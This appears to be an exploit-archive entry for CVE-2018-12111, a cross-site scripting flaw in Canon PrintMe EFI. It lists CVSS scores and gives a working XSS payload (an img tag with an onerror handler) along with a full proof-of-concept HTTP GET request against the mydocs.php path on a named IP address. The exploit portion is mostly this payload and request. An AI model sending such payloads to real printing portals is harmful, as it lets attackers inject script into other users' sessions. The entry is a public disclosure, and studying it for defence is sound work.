Canon PrintMe EFI Cross Site Scripting

2018.06.13

Credit: Huy Kha

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-12111

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Title: Canon PrintMe EFI - Cross-Site Scripting    
# Date: 9.6.2018-06-09   
# Exploit Author: Huy Kha   
# Vendor Homepage: [https://www.efi.com/]  
# Version: Canon PrintMe EFI    
# Tested on: Mozilla FireFox 
# CVE: CVE-2018-12111
# XSS Payload used: '"--!><img src=x onerror=alert("XSS")>
     
# PoC
     
GET /wt3/mydocs.php/'%22--!%3E%3Cimg%20src=x%20onerror=alert(%22XSS%22)%3E HTTP/1.1
Host: 129.25.8.177
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=a11b2588fe327f6bd1acf79f286c2dcd
Connection: close
Upgrade-Insecure-Requests: 1

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Canon PrintMe EFI Cross Site Scripting

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.